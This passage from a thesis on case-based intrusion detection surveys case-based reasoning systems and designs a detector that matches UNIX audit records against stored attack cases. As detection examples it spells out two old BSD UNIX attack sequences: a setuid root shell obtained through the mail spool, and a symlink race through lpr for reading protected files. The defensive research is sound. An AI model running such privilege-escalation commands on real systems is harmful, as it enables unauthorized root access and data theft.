In some problem areas a selected case may provide a solution to the new problem. For example, when using a case-based reasoning approach to determine if a loan should be approved, the retrieved case provides a solution: approve or disapprove. In some other situations, however, the selected case may need a modification to be appropriate as a solution to the new problem. This modification is referred to as adapting a case.

Adapting a case from the case memory to solve a new problem requires additional knowledge. The form this knowledge takes depends on how adaptation is done. One approach to adaptation is to identify those attributes of a case that can be changed and associate a formula with each adaptable attribute to be evaluated during adaptation. Another approach to adaptation is to associate a set of constraints with the case memory that must be satisfied when adapting a case. These two approaches are known as parametric adaptation and constraint satisfaction [137].

4.4 Current Applications of CBR

Recently many CBR systems have been developed for a range of domains [107]. In these systems the computer acts to augment human memory by retrieving cases but takes a fairly passive role in this process. It retrieves what it is asked to retrieve. Some systems
also have analysis capabilities built in that draw generalizations based on the retrieved cases. In these systems both the cases and the generalizations drawn from them are available to the user. Figure 4.8 shows some of the current CBR systems and their domains.

Some main types of problems for which CBR has been found useful include:

1. **Planning**: CHEF is a case-based meal planner [79, 80, 81]. It operates in the domain of recipe planning and takes as input a conjunction of subgoals that it needs to plan a dish. Its output is a recipe satisfying the given constraints and subgoals. CHEF tests the proposed recipes by simulating their outcome. If the recipe fails, explanation is given as to why it failed. The main knowledge source includes a case database consisting of past recipes, a set of rules for a simulator, rules for predicting failures in advance, a set of strategies for repairing failed plans and a set of rules for adapting plans.

One thing which should be considered is the classifications CHEF uses to categorize its failures. CHEF’s explanations are in terms of causal relationships between goals, plans and steps of plans that provide a general vocabulary for describing general planning situations. These situation descriptions function similarly to the critics in HACKER [184] and NOAH [166], though they are more flexible than those critics.
Each describes a general plan failure situation and points to a variety of strategies for repairing that sort of failure. The major difference between these structures, called TOP [78, 167], and the critics in NOAH and HACKER is that TOP organizes information about these kinds of situations, whereas critics are rules that associate one repair with each failure type.

2. Diagnosis: CASEY [109, 108, 110] is a case-based medical diagnose for heart disease. Its task is to analyze descriptions of patients with heart disease and to produce a diagnostic explanation of the patient's heart disease symptoms. As input it takes a description of its new patient, including normal signs and presenting signs and symptoms. Its output is a causal explanation of the disorders the patient has. The causal explanation connects symptoms and internal states together.

CASEY diagnoses patients by applying model-based matching and adaptation heuristics to the cases it has available. It has a case library of approximately twenty-five cases, all of which were diagnosed by the Heart Failure Program [120]. CASEY is built on top of the Heart Failure Program, a model-based diagnostic program that diagnoses heart failures with unprecedented accuracy. CASEY's model-based matching and adaptation heuristics are domain-independent and are as accurate as the domain model they are applied to.

PROTOS [22, 21, 157] is another diagnosis case-based reasoning system. It implements both case-based classification and case-based knowledge acquisition. Given a description of a situation or object, it classifies the situation or object by type. When it misclassifies an item, its expert consultant steps in and informs PROTOS of its mistake and what knowledge it needed to classify the item correctly. PROTOS's domain of expertise is audiological (hearing) disorders. Given a description of the symptoms and test results of a patient, it determines which hearing disorder the patient has.

3. Design: CASECAD [19, 138, 137] is an integrated multimedia case-based system for structural design applications. It combines traditional computer-aided design techniques with case-based reasoning. It is a domain-independent designer's assistant that can incrementally acquire design knowledge from past experiences in the domain. A significant feature of CASECAD is its ability to store and utilize design cases in both textual and graphical modes. Since designers often use different forms of representation to record design information, the system stores design cases using multimedia.
Another system, CLAVIER [23, 139, 87] is for designing the layout of composite airplane parts for curing in an auto-clave. It is up and running at Lockheed in California. Given a list of parts that need curing as input, it designs the layouts for several loads of the auto-clave that will cure all the parts, getting as many of them cured on time as possible.

JULIA [88, 89, 91, 90] is another case-based designer that works in the domain of meal planning. As in other design domains, problems are described in terms of constraints that must be achieved.

4. Law: HYPO [16, 15] is an interpretive reasoner that works in the domain of law. It is the earliest of the interpretive case-based reasoners, and over its lifetime, it has become one of the most sophisticated. HYPO takes a legal situation as input, and creates an argument for its legal client as output. It can take the defendant’s or the plaintiff’s side in a dispute and is equally good at creating arguments for either.

4.5 Case-Based Reasoning for Intrusion Detection

The overall structure of an intrusion detection case-based reasoner is shown in Figure 4.9. The input to this system is the audit trail produced by the operating system and the output is the different measures and actions that the system takes based on the severity of the intrusion it encounters on the system.

The system maintains two external interfaces: one interface from which audit records are input to the IDS module, and one interface from which the IDS findings are output to the system administrator. At the top level, the system consists of the following modules as shown in Figure 4.9:

- Audit records
- Rule-based system
- Case-based reasoner
- Action table
- Audit record storage

Audit Records: Audit records are the raw data from Audit Event Log File (see Appendix A). The records are of varying size depending on the record type.
Figure 4.9: The overall structure of the intrusion detection case base reasoner.

**Case-Based System:** This unit is the case-based reasoning sub-module. It contains the case library and the algorithms for case-based reasoning.

**Action Table:** This module contains all the measures the system will take under various conditions.

**Audit Record Storage:** This module is a storage of all the higher-level representation of the audit data supplied to the IDS module by the audit translator module. The system keeps this data for further references and possible formation of new cases based on new intrusion scenarios.

**Audit Translator:** This unit is a preprocessor for processing the raw audit data and converting them into higher-level representation of the audit data. It is simply a formatting algorithm that maps the low-level audit data into the groups of actions and inputs them into the IDS module.

**Case entry Module:** System Security Officer uses this module to enter new cases, based on new intrusions, in the case base or edit existing cases in the case base.

### 4.5.1 Issues in Case-Based Intrusion Detection (CBID)

**Case Acquisition**

Here the aim is to apply case-based reasoning to intrusion detection. Because the computers connected to publicly accessible networks (e.g., Internet) are widely using UNIX operating system, the focus was on intrusions reported on different flavors of UNIX.
The knowledge in the cases come from previously known successful intrusion scenarios. Acquiring previous cases is a very difficult task since only system administrators, system security officers and hackers have the knowledge. The first two groups of people do not tend to share this information since they are afraid of introducing the would-be-hackers to vital information. The latter also do not share the information with others unless they prove that they have something to share with the hackers in return.

Several different published theses and technical reports have been consulted to find some known intrusion scenarios [155, 51, 112, 93]. This explains why most of these scenarios are for BSD UNIX rather than Solaris and SunOS. So far, about 20 cases have been gathered. The most common criteria for a sequence of actions to be classified as an intrusion is that at the end of the sequence the intruder gains access/privileges that s/he was not supposed to have before, or is against the security policy of the site.

Once the cases are gathered, they have to be converted into a format that the case-base reasoner can interpret properly. Figure 4.10 shows two intrusion scenarios as they have been documented previously.

<table>
<thead>
<tr>
<th>Step</th>
<th>Command</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>cp /bin/csh /usr/spool/mail/root</td>
<td>- assumes no root mail file</td>
</tr>
<tr>
<td>2.</td>
<td>chmod 4755 /usr/spool/mail/root</td>
<td>- make setuid file</td>
</tr>
<tr>
<td>3.</td>
<td>touch x</td>
<td>- create empty file</td>
</tr>
<tr>
<td>4.</td>
<td>mail root &lt; x</td>
<td>- mail the empty file to root</td>
</tr>
<tr>
<td>5.</td>
<td>/usr/spool/mail/root</td>
<td>- execute setuid-to-root shell</td>
</tr>
<tr>
<td>1.</td>
<td>touch x</td>
<td>- create any file</td>
</tr>
<tr>
<td>2.</td>
<td>lpr -s x</td>
<td>- have a spooler create a symbolic link to x</td>
</tr>
<tr>
<td>3.</td>
<td>rm x</td>
<td>- remove the decoy file</td>
</tr>
<tr>
<td>4.</td>
<td>ln -s secretfile x</td>
<td>- create a link to the secret file you really want to print</td>
</tr>
</tbody>
</table>

Figure 4.10: Two intrusion scenarios

The first example in Figure 4.10 illustrates a flaw within mail(1) utility which allows an attacker to gain access to a shell with root privilege. However, the real compromise is that of the file forgery (or access permission forgery). The security flaw arises when, in step 4, mail(1) fails to reset the setuid bit of /usr/spool/mail/root after it sets the file's UID to root and expands 'x' to it. Therefore, the attacker need only to execute root's mail file to gain the access to a shell with root privileges (Note, the header for 'x' will be taken as part of the symbol table of csh or sh).

The second example in Figure 4.10 illustrates how an attacker may gain read access to any printable file on a host. This is done by having the printer daemon perform an
access check on a file that is readable to the attacker, then substituting this file with another file which is not readable to the attacker. Before performing step 2 the attacker makes sure there are jobs waiting in the printer queue. This is to make sure there is time to perform steps 3 and 4 before ‘x’ is printed.

4.5.2 High Level Representation of Intrusions

To alleviate the high dependency of the IDS on the actual audit records, higher level representation of intrusions are required. To solve this problem, two approaches, model-based and state-based have been proposed. In the model-based approach, proposed by Garvey and Lunt [71] using Gister [122, 124, 191], each intrusion is associated with a collection of observable activities. The system looks for these observables and attaches likelihood to each hypothesized scenario. Gister uses evidential reasoning to produce and update belief measures for each intrusion scenario.

In STAT [155, 156], penetrations have a graphical representation in terms of states and transitions. The main premise is that, in an intrusive activity, an intruder starts from an initial state with a minimum level of access and, by performing a sequence of actions, moves to a final state in which he has gained privileges previously unavailable. By analyzing a scenario it is possible to identify signature actions crucial for the success of an intrusion. A Unix implementation of STAT, called USTAT [93, 94], stores state transition diagrams as part of a rule-base. The main difficulty with this approach is determining signature actions for an intrusive scenario and defining a compromised state in terms of attributes and observables of the system. This is especially true because useful observables are those that are recorded by the audit record generation mechanism of the system.

Although rule-based expert systems are sufficiently powerful to handle complex problems, they demand the knowledge about the problem area to be reduced into a set of rules. This is considered as a bottle-neck of the development process. Case-based reasoning [107] has been developed to alleviate some of the problems with rule-based systems.

In case-based approach to intrusion detection we use class representation of Unix commands. Each class covers commands with the same features and abilities.

4.5.3 Case Representation

In intrusion detection case base reasoner, a case contains a list of commands that lead to an unauthorized access. The case should contain information about the importance
of each part of the intrusion sequence. The essential parts of a case in this system are the description of the situation that is being monitored and the interpretation and recommended action to prevent the intrusion from its completion. In this system, each case contains three different parts as shown in Table 4.2.

<table>
<thead>
<tr>
<th>Part</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Example_Scenario</td>
<td>This part gives an instance of the class of intrusion scenario given in Description part</td>
</tr>
<tr>
<td>Intrusion_Seq</td>
<td>This part contains equivalent sequences of the intrusion.</td>
</tr>
<tr>
<td>Description</td>
<td>This part gives a description of a class of intrusions.</td>
</tr>
</tbody>
</table>

Table 4.2: Description of four different parts of a case.

**Example_Scenario:** The first partition of each case is an optional field which gives an instance (or an example) of the class of intrusions that can be addressed by the case. This partition is not required for correct performance of the system, however it helps the system administrator to gain further knowledge of the situation. The example is included exactly as it has been recorded previously using normal Unix commands. It does not represent commands using their class representations. This partition is referred to as EXAMPLE-SCENARIO in each case.

**Intrusion_Seq:** The second partition of each case contains some information about the other equivalents to the scenario and how important is the order of the sequence. This is because an intruder requires to go through several commands before successfully completing the intrusion and the events are required to be in order. However, some of the events can occur in a different order. For example, if the scenario involves creating a new file, it can be created anytime before it is needed. This partition is referred to as INTRUSION-SEQ in each case.

**Description:** The last partition of each case, referred to as DESCRIPTION, gives information about each action in the sequence which will cause the intrusion to succeed. It covers the commands that the user executes on the system. Since there are several commands on the Unix operating system to perform a particular task, the class definition for each command is used for this partition. It also contains the option and object fields of each command to prevent the system from false alarms.
The followings are some notations and definitions which are necessary to follow the rest of this thesis. An intrusion scenario is defined as:

**Definition 4.1** An intrusion scenario $\gamma$ is a sequence of actions ($\mathcal{AR}$) performed by one or more users which results in an unauthorized access to the system and its resources, and can be represented as $\gamma = \mathcal{AR}_1, \mathcal{AR}_2, \mathcal{AR}_3, \ldots, \mathcal{AR}_n$.

It is possible to obtain an equivalent intrusion scenario by means of using equivalent commands from the same class of $\mathcal{AR}$'s. Figure 4.11 shows two equivalent scenarios which will do the same job.

<table>
<thead>
<tr>
<th>Attack 1</th>
<th>Attack 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat /bin/csh /usr/spool/mail/root</td>
<td>cp /bin/csh /usr/spool/mail/root</td>
</tr>
<tr>
<td>chmod 4755 /usr/spool/mail/root</td>
<td>chmod 4755 /usr/spool/mail/root</td>
</tr>
<tr>
<td>jove x</td>
<td>touch x</td>
</tr>
<tr>
<td>elm root &lt; x</td>
<td>mail root &lt; x</td>
</tr>
<tr>
<td>exec /usr/spool/mail/root</td>
<td>/usr/spool/mail/root</td>
</tr>
</tbody>
</table>

Figure 4.11: Two equivalent attack scenarios.

**Definition 4.2** Two intrusion scenarios $\gamma_1$ and $\gamma_2$ are equivalent if one is obtained from the other by using equivalent commands. By equivalent commands we mean commands which belong to the same class.

<table>
<thead>
<tr>
<th>Name of action class</th>
<th>Semantic</th>
<th>Elements of the class</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>DUPLICATE</td>
<td>Copies a file</td>
<td>cp, cat, more, less, zcat</td>
<td>origin, destin</td>
</tr>
<tr>
<td>FILE_CREATION</td>
<td>creates a new file</td>
<td>touch, vi, jove, emacs, ...</td>
<td>subject</td>
</tr>
<tr>
<td>FILE_MOVING</td>
<td>moves and/or renames a file</td>
<td>mv</td>
<td>origin, destin</td>
</tr>
<tr>
<td>PRINT</td>
<td>prints a file</td>
<td>lpr, lp</td>
<td>option, subject, destin</td>
</tr>
<tr>
<td>LINK</td>
<td>links files in directories</td>
<td>ln</td>
<td>option, subject, destin</td>
</tr>
<tr>
<td>ACCESS_CONTROL</td>
<td>changes access rights</td>
<td>chmod, umask, ...</td>
<td>option, subject</td>
</tr>
<tr>
<td>MAIL</td>
<td>sends email</td>
<td>elm, mail, pine, ...</td>
<td>receiver, subject</td>
</tr>
<tr>
<td>DEBUG</td>
<td>debugs binaries</td>
<td>db, xdb, ...</td>
<td>subject</td>
</tr>
<tr>
<td>REMOVE</td>
<td>removes a file</td>
<td>rm</td>
<td>subject</td>
</tr>
<tr>
<td>EXECUTION</td>
<td>executes binaries</td>
<td>exec, sh, csh, ...</td>
<td>subject</td>
</tr>
</tbody>
</table>

Table 4.3: Command classes used for the Unix operating system.

Sequences ($\mathcal{AR}$'s) can be represented using class representation instead of instances of UNIX commands. A's can be used to represent classes of activities and commands.
on the system. These classes contain different commands and utilities of the UNIX operating system with the same features and abilities. Using these classes, it is possible to introduce equivalent scenarios which do the same thing using equivalent commands. The selection of classes is based on the compatibility of the members of each class. Commands in these classes have one or more arguments.

Another advantage of representing an intrusion using classes is that it allows the same model to be applicable to different operating systems. Figure 4.12 illustrates the example scenario in Figure 4.10 as it appears in a case, based on the class definition of Table 4.3.

| DUPLICATE | is an instance of $A_1$ |
| origin | is a member of (Restricted-Write File) |
| dest | is a member of File-Set #4 (file1) |

| ACCESS_CONTROL | is an instance of $A_6$ |
| option | is 4755 |
| argument | is a member of File-set #4 (file1) |

| FILE_CREATION | is an instance of $A_2$ |
| subject | file2 |

| MAIL | is an instance of $A_5$ |
| receiver | root |

| subject | file2 |

| EXECUTION | subject | is a member of File-Set #4 (file1) |

Figure 4.12: The intrusion scenario in a case.

In some cases a strict order of the actions is not necessary, although in most intrusion scenarios it is. For example, two consecutive actions may be swapped and still the unauthorized access succeeds. This happens when one action is not required for the other to succeed. Hence an intrusion in general corresponds to a set $(\Gamma)$ of permutation of intrusion sequences.

Some commands need previous actions to succeed, for example, to change the access modes of a file, the file must exist before the action could be completed. For example to create a new file using touch command no previous action is required. Therefore the intrusion scenario of Attack 2 in Figure 4.11 has another equivalent scenario which is illustrated in Figure 4.13. Therefore, Definition 4.2 can be changed to cover the above as well.

**Definition 4.3** Two intrusion sequences $\gamma_1$ and $\gamma_2$ are equivalent if one is obtained from the other by moving two or more non-prerequisite commands, or if one is obtained from the other by using commands from the same class.
4.5. Case-Based Reasoning for Intrusion Detection

Figure 4.13: Two equivalent attack scenarios.

### 4.5.4 Risk Factors

There are certain activities on the system that the users are prevented from doing by the policy of the system they work on. These policies differ from one system to another, but they all have some common features. These features are mostly concerned with the security of certain system files and resources (For examples of policies see Appendix C).

Therefore, in this system a risk factor is attached to each event which determines how harmful is the event to the security of the system. These risk factors vary from 'Very-Low', indicating no-risk activity, to 'Very-High', indicating high-risk activity. Very-high risk factors are attached to the actions being done on the files and resources that normal users are prohibited. Table 4.4 shows some risk factors. An approach can be developed to determine the outcome of the combination of several actions and events.

<table>
<thead>
<tr>
<th>Subject</th>
<th>Command Class</th>
<th>Option</th>
<th>Object</th>
<th>Risk Factor</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>duplicate</td>
<td>-</td>
<td>Restricted_Write File</td>
<td>High</td>
</tr>
<tr>
<td></td>
<td>access-control</td>
<td>4755</td>
<td>in File_Set #4</td>
<td>High</td>
</tr>
<tr>
<td></td>
<td>file-creation</td>
<td>-</td>
<td>root</td>
<td>Low</td>
</tr>
<tr>
<td>~root</td>
<td>mail</td>
<td>-</td>
<td>in File_Set #4</td>
<td>Very-Low</td>
</tr>
<tr>
<td></td>
<td>execute</td>
<td>-</td>
<td>Very-High</td>
<td></td>
</tr>
<tr>
<td></td>
<td>print</td>
<td>s</td>
<td>file</td>
<td>Very-Low</td>
</tr>
<tr>
<td></td>
<td>remove</td>
<td>-</td>
<td>file</td>
<td>Low</td>
</tr>
<tr>
<td></td>
<td>link</td>
<td>s</td>
<td>All File_Set's</td>
<td>Very-High</td>
</tr>
</tbody>
</table>

Table 4.4: Definition of some risk factors.

Based on the definition of Belief Functions in MYCIN [34] we propose a technique for combining individual risk factors \( \mathcal{R} \) in a partial-matched case.

**Definition 4.4** Suppose \( \mathcal{E}_1 \) and \( \mathcal{E}_2 \) are the actions matched so far in the case, then the combined risk factor \( \mathcal{R.F} \) is defined as:

\[
\mathcal{R.F}[\mathcal{E}_1 \& \mathcal{E}_2] = \mathcal{R}[\mathcal{E}_1] + \mathcal{R}[\mathcal{E}_2] - \mathcal{R}[\mathcal{E}_1]\mathcal{R}[\mathcal{E}_2]
\]
4.5. Case-Based Reasoning for Intrusion Detection

or

\[ \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2] = \mathcal{R}[\mathcal{E}_1] + \mathcal{R}[\mathcal{S}_2] (1 - \mathcal{R}[\mathcal{E}_1]). \]

Calculating such factor is a commutative operation, or in other words:

\[ \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2] = \mathcal{RF}[\mathcal{E}_2 \& \mathcal{E}_1] \]

This feature is necessary in the calculation of risk factors for intrusion detection scenarios where some of the events in a scenario can be swapped and the effect of the intrusion is still the same. The proposed method of calculating risk factors produces the same result for any reordering of events in the scenario. The following is for three events but it can easily be extended for any number of events.

\[ \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2 \& \mathcal{E}_3] = \mathcal{RF}[\mathcal{E}_2 \& \mathcal{E}_1 \& \mathcal{E}_3] = \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_3 \& \mathcal{S}_2] = \mathcal{RF}[\mathcal{E}_2 \& \mathcal{E}_3 \& \mathcal{E}_1] \]

If the individual risk factors are mapped from [Very-Low, Very-High] to [0,1] then the combined risk factor is \( \mathcal{RF} \leq 1 \). The terms Very-Low, Low, High and Very-High are defined to be equal to 0.2, 0.4, 0.7 and 0.9 respectively (See Figure 4.14).

<table>
<thead>
<tr>
<th>Very-Low</th>
<th>Low</th>
<th>High</th>
<th>Very-High</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0.2</td>
<td>0.4</td>
<td>0.7</td>
</tr>
</tbody>
</table>

Figure 4.14: Mapping the risk factors.

**Example 4.2** Consider the case shown in Figure 4.12 and the corresponding individual risk factors in Table 4.4. Therefore the individual risk factors will be \( \mathcal{R}[\mathcal{E}_1] = 0.7, \mathcal{R}[\mathcal{E}_2] = 0.7, \mathcal{R}[\mathcal{E}_3] = 0.4, \mathcal{R}[\mathcal{E}_4] = 0.2 \) and \( \mathcal{R}[\mathcal{E}_5] = 0.9 \). If \( \mathcal{E}_1 \) and \( \mathcal{E}_2 \) are already matched with the case, then the combined risk factor for the case is calculated as:

\[ \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2] = 0.7 + 0.7(1 - 0.7) = 0.91 \]

and after matching \( \mathcal{E}_3 \) it will increase to

\[ \mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2 \& \mathcal{E}_3] = 0.91 + 0.2(1 - 0.91) = 0.93 \]

and so on.
4.6 Case Representation Schema in CBID

In this application, frames have been chosen to represent cases as they have the following advantages:

1. Knowledge-base is partitioned into a number of small modules.
2. Frames can share knowledge about entities through inheritance.
3. Default information or default values may be incorporated using frames.
4. Procedural knowledge about how to calculate a particular attribute may be used.
5. Demons may be embedded in frames and alerted when the frame is invoked.

Example 4.3 Consider the following statement concerning the UNIX operating system:

'duplicate class is part of the UNIX commands'

This statement comprises two concepts: the concept 'duplicate class' and the concept 'UNIX commands'. These concepts are related in the sense that the first one, the 'duplicate class', forms a part of the second one, the 'UNIX Commands'. This knowledge is represented by means of the graph shown in Figure 4.15. The concepts are depicted by ellipses, labeled duplicate class and UNIX commands; the relation between the concepts is represented by means of an arc labeled part-of.

![Figure 4.15: A graphical representation of a class.](image)

Example 4.4 In the hierarchy illustrated in Figure 4.16, two different kinds of relations are used in representing information concerning the UNIX commands: the 'part-of' relation and the 'is-a' relation.

In this example there is a new relation, 'is-a'. This is quite a common relation between concepts. It reflects two different senses in which a concept can be used: here the term concept is used to denote either an individual object or a class of objects. The 'is-a' relation may be used as follows:

- To express that a class of objects is a subclass of another class of objects.
- To express that a specific object is a member of certain class of objects.
4.6.1 Frame-Based Representation of Cases

As mentioned earlier in Section 4.3.1, each case in this system has three different partitions: Description, Intrusion_Seq and Example_Scenario. Each partition contains information which helps the reasoning system to assess the current situation properly. Figure 4.17 illustrates a case representing the scenario shown in Figure 4.10.

Frame-based representation has been used to construct each partition in the case. A template case is shown in Figure 4.18. In this template, EXAMPLE-SCENARIO contains a previously recorded instance of the attack. It is included in the case to help the system administrator to understand what attack is occurring in the system. DESCRIPTION partition includes the description of the attack using class definition of the commands. INTRUSION-SEQ contains all the possible interchangeable sequences of the attack.

Using the frame structure cases in the intrusion detection case-based reasoning system can be defined as shown in Figure 4.19. Each frame uses different slots, facets and corresponding values. For example, in DESCRIPTION partition, $E_1$ is a slot, duplicate is type of the slot, origin is a facet and its corresponding value is ‘in Restricted_Write File’.

4.7 CBID Processes

This section describes case-based reasoning processes necessary for the intrusion detection application.
4.7. CBID Processes

Example Scenario:

```Shell
cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root
```

Intrusion Seq:
Containing all possible sequences.

Description:

DUPLICATE = is an instance of $A_1$
origin = is a member of (Restricted-Write File)
dest = is a member of File-Set #4 (file1)

ACCESS_CONTROL = is an instance of $A_6$
option = is 4755
argument = is a member of File-set #4 (file1)

FILE_CREATION = is an instance of $A_2$
subject = file2

MAIL = is an instance of $A_5$
receiver = root
subject = file2

EXECUTION
subject = is a member of File-Set #4 (file1)

---

Figure 4.17: Representation of partitions in the case.

4.7.1 Case Indexing and Organization

In a small database of cases, such as this application (with nearly 20-30 cases), the cases can simply be stored in a list. However, if the set of cases grows considerably, the time to retrieve similar cases is largely influenced by how the the cases are organized in the case memory. Appropriate grouping or indexing of cases can permit efficient searching, without the necessity of explicitly considering every case as a possible match for the current problem.

Case Indexing: In Figure 4.20, the indexing scheme illustrated assumes that all cases will be retrieved by name and that each case will be compared separately to the new problem specification.

Since there are only about 20 cases in this system, the cases are simply stored in a list and indexing is not used.
Memory Organization: Since no indexing scheme is used, in this system the flat memory structure using the list of cases is used.

4.7.2 Case Matching and Retrieval

The cases are indexed using the value in sequence facet in factors slot. For example the indices for the case mail in Figure 4.19 are \((E_1 E_2 E_3 E_4 S_5), (E_1 E_3 E_2 E_4 E_5)\) and \((E_3 E_1 E_2 E_4 E_5)\).

The retrieval task in CBR searches the case memory for matches between individual cases and the pattern that serves to index the case. Each case in the case memory may be compared to the pattern, or the pattern may provide a set of indices to partition the case memory so only a relevant subset of cases are compared with the pattern. Retrieval can be based on a perfect match, where the pattern is found exactly, or partial matches. If partial matches are retrieved, a threshold may be set to determine when a partial match is close enough.

**Definition 4.5** In this system, a partial match means that the current pattern is an ordered subset of the events in the matched pattern including the first event. If \(\gamma_1 = E_1, E_2, E_3, E_4, E_5\) is an intrusion scenario, then \(\gamma_2 = E_1, E_2, S_3\) is a partial match to \(\gamma_1\) shown by \(\gamma_2 \subseteq \gamma_1\).

**Definition 4.6** The term degree of match is defined to show how much the current situation is matched with the cases already in the memory. The accumulated risk factor is a good measure for the degree of match for each case in the memory.

The difference between this work and traditional case-based reasoning systems is that, in normal circumstances, the case presented by the user to the system is complete except...
for some possible constraints that might be applied later in the course of reasoning. In this system, the input to the reasoner is a stream of data which is translated from the audit record. The presented case depends on the data contained in each audit record that the system receives (See Figure 4.21). Therefore the processes involved in this CBR system can be listed as:

1. Auditing the users;
2. Audit translation; and
3. Matching.

When the reasoner receives the first audit trail, it will start with the first record in the audit trail and tries to match cases from the case memory. If it finds a partial
match (because matching completely does not mean much when the case presented is not complete), it starts to reason based on the threshold defined.

If it fails, the system will then abandon the record and start with recent record from the audit trail since, if this record is not a beginning event of a sequence, it can not be considered as part of an intrusion. When it finally retrieves a case (or several cases that match perfectly or partially) with the limited information, the CBR system tries to rank the cases.

<table>
<thead>
<tr>
<th>Case 1</th>
<th>Case 2</th>
<th>Case 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>$\mathcal{E}_1$</td>
<td>$\mathcal{E}_2$</td>
<td>$\mathcal{E}_3$</td>
</tr>
<tr>
<td>$\mathcal{E}_2$</td>
<td>$\mathcal{E}_3$</td>
<td>$\mathcal{E}_2$</td>
</tr>
<tr>
<td>$\mathcal{E}_3$</td>
<td>$\mathcal{E}_5$</td>
<td>$\mathcal{E}_4$</td>
</tr>
<tr>
<td>$\mathcal{E}_4$</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Figure 4.22: Example of cases with similar sequences

As mentioned earlier the cases contain a sequence of user actions, for example $\mathcal{E}_1, \mathcal{E}_2, \mathcal{E}_3, \mathcal{E}_4, \ldots$. Suppose the system has established a case containing $\mathcal{E}_1, \mathcal{E}_2$ and now it receives another audit record containing $\mathcal{E}_3$. Further, suppose that the sequence of $\mathcal{E}_1, \mathcal{E}_2, \mathcal{E}_3$ is a case in the case-base and also there is a case that starts with $\mathcal{E}_3$. The
worst case is that the current matched case in the memory does not contain $E_3$ but there is another case in the case-base that starts with $E_3$ (see Figure 4.22). In this case the system should not abandon the current case in the memory, since it is not assumed that the intruder is acting continuously towards the intrusion. Or even it might happen that more than one intrusion (by one or more intruders) is occurring in the system. This procedure is illustrated more clearly in Figure 4.23.

Figure 4.23: Matching sequence (... in Audit trail includes all the audit data which do not match with any cases in the case memory).
4.7.3 Case Ranking and Selection

Once the system retrieves all the relevant cases from the case memory and calculates the degree of match (or accumulated risk factor), it ranks them based on the accumulated risk factor and selects those with accumulated risk factors above the defined threshold. Then it takes the measures and actions included in the recommended action table based on the accumulated risk factor (e.g., preempt the intrusion, report to system administrator, raise an alarm, ...).

The system will not discard unselected cases since they might be addressing other intrusions on the system which have not yet raised the accumulated risk factor high enough to be considered as threats to the system.

4.7.4 Assessing New Situation

The following Algorithm illustrates how the case-base reasoning system behaves once it receives an audit record:

```
begin
  Repeat for all records in audit trail
    determine relevant cases for comparison;
    Repeat for all relevant cases
      determine the degree of match;
      if case match above threshold
        then execute the recommended action;
  end.
```

Since the cases are stored as a list in a flat memory structure in the case memory, once the system receives the first audit record it compares the first action in the Intrusion_Seq partition in all the cases in the case memory. In this application, retrieval is based on partial matches and there is no threshold defined for determining the degree of match in retrieval. All the cases that match partially are retrieved to the working memory for further processing.

The next audit event, together with the previous events, is first compared with the cases in the working memory. To implement this concept, an active window is required to keep all the current matched audit events to verify the matched cases. After matching the active window with the cases in the working memory, the degree of match (or combined risk factor) is calculated for all the cases in the working memory. If any of these have passed the threshold, then the proper actions will be recommended. After this step, the
latest event in the window is compared to the cases in the case memory and the retrieval task will continue as outlined above.

**Recommended Action:** Since the ultimate goal of this system is to prevent the intrusions from completing, the system needs to take an action when it can predict that, what it has been monitoring, is likely to be an intrusion. To execute the recommended action, the system has to follow the following algorithm:

```plaintext
begin
  if Low \leq \text{combined risk factor} \leq \text{High} \\
    \text{then execute } \text{monitor, \ldots;}
  else if \text{combined risk factor} < \text{Very-High} \\
    \text{then execute } \text{monitor, record, \ldots;}
  else if \text{combined risk factor} \geq \text{Very-High} \\
    \text{then execute } \text{record, preempt, \ldots;}
end.
```

**4.7.5 Case Adaptation**

A selected case may provide a solution to the new situation. However, the selected case may need some modifications to be appropriate as a solution to the new problem. For example, the intrusion detection CBR system may recall a similar case but the user, for which the new case is being assessed, is logging in from a site different from the one described in the case. Therefore the new constraint has to be considered and the evaluation has to be modified.

**4.7.6 Learning**

There might be situations that the intrusion detection system receives audit records which illustrate the risk to the system (using risk factors) but it can not arrange them and match them against any cases in the case memory. The possible solution is to have a hybrid system including a rule-based system and make the rule-based system responsible for taking measures against these situations. As mentioned earlier, all the related audit records are also stored in the audit storage (see Figure 4.9). It is possible to make the system learn about new intrusion scenarios including those risky events with the help of the system administrator (it might need a graphical user interface for ease of operation on the system administrator side).
The second method of learning for the case-based reasoning module is to have a statistical library for all the possible equivalent scenarios for each intrusion scenario. Whenever it detects an intrusion, it can increment the counter for the equivalent scenario which was used by the intruder. After a period the contents of these counters can be used to devise indexes for the rule-base module for faster and more efficient detection.

4.8 Summary

This chapter briefly described case-based reasoning and the issues involved in designing a case-based reasoning system. CBR involves applying past experience, in the form of prior cases, to guide current decision making. In essence, a case-based reasoner assigns an outcome to a problem based on the outcomes of relevant prior cases. A prior case may be a template for a solution to the problem or the basis for an argument of how to decide it. Either way, an outcome is assigned to a problem based on a relevant prior situation.

CBR provides a useful approach for organizing knowledge about past intrusions into computer systems and facilitates mechanisms for retrieving and using relevant past cases to solve and reason about new situations. In this chapter a schema for representation and organization of cases was presented.

This chapter also described an appropriate model for organizing past intrusion cases effectively and to support various processes required in case-based reasoning. The data was collected from different published papers and theses to construct the case memory. The design of a case-based intrusion detection system was discussed and the necessary issues for such a system was outlined.
AutoGuard: A Case-Based Intrusion Detection System

5.1 Introduction

Chapter 4 illustrated an overview of case-based reasoning and the issues involved in designing a case-based reasoning system. It also proposed a model for case-based approach for intrusion detection. In this chapter we describe the architecture of the prototype we built based on the model described in Chapter 4. The prototype, called AutoGuard, serves as a proof of concept implementation of the model.

